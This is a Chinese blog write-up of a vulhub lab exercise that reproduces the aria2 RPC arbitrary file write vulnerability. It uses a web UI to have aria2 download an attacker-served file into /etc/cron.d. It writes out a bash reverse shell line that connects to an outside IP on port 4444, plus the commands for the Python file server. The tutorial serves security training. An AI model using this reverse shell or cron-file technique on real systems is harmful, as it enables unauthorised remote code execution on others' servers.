vulhub漏洞复现系列之aria2任意文件写入漏洞

我的天,这个漏洞的复现,你看了我的博客之后你再说不会复现我揍你我跟你讲!(狗头保命)


工具介绍:
Aria2是一个命令行下轻量级、多协议、多来源的下载工具(支持 HTTP/HTTPS、FTP、BitTorrent、Metalink),内建XML-RPC和JSON-RPC接口。在有权限的情况下,我们可以使用RPC接口来操作aria2来下载文件,将文件下载至任意目录,造成一个任意文件写入漏洞。
漏洞描述:
通过控制文件下载链接,文件储存路径以及文件名,可以实现任意文件写入。同时通过Aria2提供的其他功能,诸如save-session等也能轻易地实现任意文件写入指定功能。
漏洞复现:
6800是aria2的rpc服务的默认端口,环境启动后,访问http://your-ip:6800/,看到一个空白页面,但是通过bp抓包可以看到返回了404
在这里插入图片描述

靶场准备好就可以开始咱们的复现了,首先因为rpc通信需要使用json或者xml,不太方便,所以我们可以借助第三方UI来和目标通信,如 http://binux.github.io/yaaw/demo/
访问这个UI,点击这个小扳手,添加你的靶场域名,
在这里插入图片描述

如图
在这里插入图片描述

点击save保存,准备好shell
#! /bin/bash
/bin/bash -i >& /dev/tcp/192.168.174.1/4444 0>&1
建议是在linux下创建一个空文件,然后再使用vim添加,注意文件结尾需要有一个换行符
在这里插入图片描述

再点击add,
在这里插入图片描述

坑点来了,因为这个第三方UI我没使用过也没了解过,我以为是直接把写好的shell随便放个地方让他导入就行,结果我错了,会遇到下边这个报错的问题。
在这里插入图片描述

所以我想可能是需要像外网一样的环境才能远程下载到,所以用python创建一个简单的服务器,python2和python3命令不一样,这里还请各位注意一下。
Python2 :python2 -m SimpleHTTPServer 8000
Python3 :python3 -m http.server 8000
在这里插入图片描述

搭建成功后访问一下,可以看到写好的shell文件。
在这里插入图片描述

然后就是注意下载到靶机的位置不能写错,/etc/cron.d
在这里插入图片描述

在这里插入图片描述

文件成功下载(这个SHELL呢和Lin1是一样的,就是为了让各位看官能分清一下,又多传了一个)
在这里插入图片描述

但是等了很久都没反弹到shell,看人家说是1分钟左右,于是找了下原因,在这篇博客中https://www.cnblogs.com/foe0/p/11353506.html博主就说了大概率是靶场环境不完整导致的。
既然他定时任务动不了,那我自己动手不过分吧。
进去文件夹,给文件赋予权限,运行它
在这里插入图片描述

成功反弹shell
在这里插入图片描述

已标记关键词 清除标记
©️2020 CSDN 皮肤主题: 书香水墨 设计师:CSDN官方博客 返回首页